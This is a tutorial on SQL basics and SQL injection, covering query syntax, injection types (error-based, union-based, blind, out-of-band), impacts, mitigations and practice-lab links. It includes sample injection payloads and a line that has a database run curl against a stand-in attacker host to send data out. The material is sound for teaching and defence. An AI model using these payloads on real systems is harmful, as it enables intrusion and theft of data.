SQL Injection

SQL
SQL, or Structured Query Language, is a standard programming language used for
managing and manipulating relational databases. It allows you to perform various
operations like querying data, updating records, inserting new data, and deleting
data.

Imagine you have a database with a table named Employees that stores
information about employees. The table might look something like this:

EmployeeID FirstName LastName Department

1 John Doe Sales
2 Jane Smith Marketing
3 Emily Davis IT

Querying Data
To retrieve all records from the Employees table, you use a SELECT statement:

SELECT * FROM Employees;

This query fetches all columns (*) and all rows from the Employees table.

Inserting Data
To add a new employee to the table, you use an INSERT statement:

INSERT INTO Employees (EmployeeID, FirstName, LastName, Department)

VALUES (4, 'Alice', 'Johnson', 'HR');

This query adds a new row with the provided values.

Updating Data
To change the department of an existing employee, you use an UPDATE
statement:
UPDATE Employees SET Department = 'Finance' WHERE EmployeeID = 1;

This query updates the Department for the employee with EmployeeID 1 to
'Finance'.

Deleting Data
To remove an employee from the table, you use a DELETE statement:

DELETE FROM Employees WHERE EmployeeID = 2;

This query deletes the row where EmployeeID is 2.

Filtering Data
To get all employees in the 'IT' department, you use a SELECT statement with a
WHERE clause:

SELECT * FROM Employees WHERE Department = 'IT';

This query fetches only the rows where the Department is 'IT'.

Some of the Most Important SQL Commands

Command Purpose Syntax
Retrieve data from one or SELECT column1, column2, ... FROM table_name
SELECT more tables. WHERE condition;

INSERT INSERT INTO table_name (column1, column2, ...)

INTO Add new rows to a table. VALUES (value1, value2, ...);

Modify existing rows in a UPDATE table_name SET column1 = value1, column2 =

UPDATE table. value2, ... WHERE condition;

DELETE Remove rows from a table. DELETE FROM table_name WHERE condition;

CREATE Define a new table and its CREATE TABLE table_name (column1 datatype
TABLE columns. constraints, column2 datatype constraints, ...);

ALTER Modify an existing table's ALTER TABLE table_name ADD column_name

TABLE structure. datatype; ALTER TABLE table_name DROP COLUMN
column_name;
 DROP Delete an entire table and its
TABLE data. DROP TABLE table_name;

CREATE Improve query performance CREATE INDEX index_name ON table_name (column1,

INDEX by creating an index. column2, ...);

DROP Remove an index from a

INDEX table. DROP INDEX index_name;

Combine rows from two or

more tables based on a SELECT columns FROM table1 INNER JOIN table2 ON
JOIN related column. table1.common_column = table2.common_column;

Aggregate data across

GROUP multiple rows and group SELECT column1, COUNT(*) FROM table_name GROUP
BY results. BY column1;

Filter groups created by SELECT column1, COUNT(*) FROM table_name GROUP

HAVING GROUP BY. BY column1 HAVING COUNT(*) > value;

Sort the result set by one or `SELECT column1, column2, ... FROM table_name
ORDER BY more columns. ORDER BY column1 ASC

Control the number of rows

LIMIT / returned and skip a specified SELECT column1, column2, ... FROM table_name LIMIT
OFFSET number of rows. number_of_rows OFFSET skip_number;

Remove duplicate rows from SELECT DISTINCT column1, column2, ... FROM
DISTINCT the result set. table_name;

SQL Injection
A structured query language (SQL) injection is defined as a cybersecurity attack
technique or vulnerability, where malicious types of SQL statements are placed
inside entry fields in backend databases, either deliberately or inadvertently,
which facilitates attacks on data-driven applications.
Types of SQL injection
1. In-band SQL Injection
This type exploits vulnerabilities in a web application's query formation to
manipulate SQL commands directly. It typically involves entering malicious SQL
code into input fields.
Types of in-band SQL Injection:
• Error-Based SQL Injection: This type of injection exploits database errors
thrown by the server. The attacker crafts input to cause SQL errors and
extract information from the error messages.

Example: If an application has:

SELECT * FROM Users WHERE id = 'input_id';

And an attacker inputs:

1' OR '1'='1

The database might return an error message containing information about the
database schema.

• Union-Based SQL Injection

This injection type uses the UNION SQL operator to combine the results of two or
more queries. The attacker can use this to retrieve data from other tables within
the same database.

Example: Assume the application has:

SELECT name FROM Products WHERE id = 'input_id';

An attacker might input:

1 UNION SELECT username, password FROM Users;

-- Assuming there are columns of the same type in both queries

This query returns results from the Users table along with the original Products
data.

2. Blind SQL Injection

In Blind SQL Injection, the attacker cannot see the actual results of the SQL query.
Instead, they infer information based on the application's behavior or error
messages.
Types of Blind SQL Injection:
• Boolean-Based Blind SQL Injection: The attacker sends queries that return
different results based on true or false conditions.

SELECT * FROM Users WHERE username = '' OR 1=1;

-- Always true

• Time-Based Blind SQL Injection: The attacker sends queries designed to

make the database wait for a specified amount of time before responding.
This delay helps in deducing whether certain conditions are true or false.

SELECT * FROM Users WHERE username = '' OR IF(1=1, SLEEP(5), 0);

If the server delays its response, the condition is true.

3. Out-of-Band SQL Injection

Out-of-Band SQL Injection occurs when the attacker cannot directly use the same
channel to retrieve the data but instead causes the database server to make
outbound connections to another server controlled by the attacker.

Example: An attacker might use SQL commands to make the database send HTTP
requests to a server they control, revealing sensitive data.

SELECT * FROM Users WHERE username = ''; EXEC xp_cmdshell('curl

http://attacker.com/data=' + data);

Impact of SQL injection attack

Here are some of the key consequences that brings a huge impact due to SQL
injection attack:

• Data Theft: Attackers can use SQL injection to retrieve sensitive

information from a database, such as personal data, financial information,
and login credentials. This can lead to identity theft and financial loss.
• Data Loss: SQL injection can be used to manipulate or delete data in a
database. This could result in loss of critical information, affecting business
operations and causing downtime.
• Data Corruption: Attackers can alter the data in a database, leading to
corruption. This can disrupt business processes, affect decision-making, and
damage the integrity of the data.
• Unauthorized Access: By exploiting SQL injection, attackers might gain
unauthorized access to administrative functionalities or sensitive areas of
an application, potentially allowing them to control or modify the system.
• Denial of Service (DoS): SQL injection can be used to overload a database
with complex queries or malicious scripts, leading to performance
degradation or even a complete outage of the service.
• Privilege Escalation: Attackers might exploit SQL injection to escalate their
privileges within an application, gaining access to higher levels of
functionality and potentially compromising the entire system.
• System Compromise: In some cases, SQL injection vulnerabilities can be
leveraged to execute arbitrary commands on the server, potentially leading
to full system compromise.
• Reputation Damage: A successful SQL injection attack can damage an
organization's reputation, erode customer trust, and lead to a loss of
business. It may also result in legal consequences and regulatory fines,
especially if personal data is compromised.
• Financial Costs: The financial impact of SQL injection includes the cost of
remediation, legal fees, compensation for affected customers, and
potential loss of revenue due to downtime or reputational damage.
Mitigation measures

1. Limit the Use of Special Characters in Data

To prevent SQL Injection, it is crucial to limit the use of special characters in user
inputs. This involves restricting or properly escaping characters that could be used
maliciously, such as quotes and semicolons. Implementing comprehensive input
filtering helps block potentially harmful characters, thus reducing the risk of them
being used to manipulate SQL queries.
 2. Verify User Inputs
Verifying user inputs is a fundamental practice in SQL Injection prevention. This
includes validating inputs for their type, length, and format to ensure they meet
expected criteria. By using whitelisting techniques, applications can accept only
valid and expected values, and sanitizing inputs helps remove or neutralize any
potentially harmful content before it is processed.

3. Make Use of Stored Procedures in the Database

Stored procedures should be utilized to interact with the database securely. They
offer a way to encapsulate SQL queries and use parameterized inputs, which
helps to separate user data from SQL commands. This approach reduces the
likelihood of SQL Injection by ensuring that user inputs are treated as data rather
than executable code.

4. Actively Manage Patches and Updates

Regularly managing patches and updates is essential for maintaining the security
of your database systems. This involves applying security patches and updates to
the database management system (DBMS) and application frameworks in a timely
manner. Staying informed about and responding to security bulletins and
advisories helps protect against known vulnerabilities that could be exploited
through SQL Injection.

5. Implement a Web Application Firewall (WAF)

Implementing a Web Application Firewall (WAF) provides an additional layer of
protection against SQL Injection attacks. A WAF filters and monitors incoming
HTTP traffic to detect and block malicious requests. Configuring WAF rules to
identify and prevent SQL Injection attempts, and regularly updating these rules to
address emerging threats, enhances overall security.

6. Limit the Area of Attack

Limiting the area of attack involves applying the principle of least privilege to
database accounts and restricting access to sensitive data and functionalities. By
using database roles and permissions effectively, you control who can access or
modify different parts of the database, thereby minimizing the potential impact of
any SQL Injection attempts.

Practices:
1. https://tryhackme.com/r/room/sqlinjectionlm

2. https://portswigger.net/web-security/all-labs#sql_injection
Reference:
• https://www.geeksforgeeks.org/what-is-sql/
• https://www.w3schools.com/sql/sql_syntax.asp
• https://www.spiceworks.com/it-security/application-
security/articles/what-is-sql-injection/
• https://portswigger.net/web-security/sql-injection
• https://www.cybercrowd.co.uk/news/impact-of-a-sql-injection/
• https://brightsec.com/blog/sql-injection-attack/
• https://tryhackme.com/r/room/sqlinjectionlm
• https://portswigger.net/web-security/all-labs#sql_injection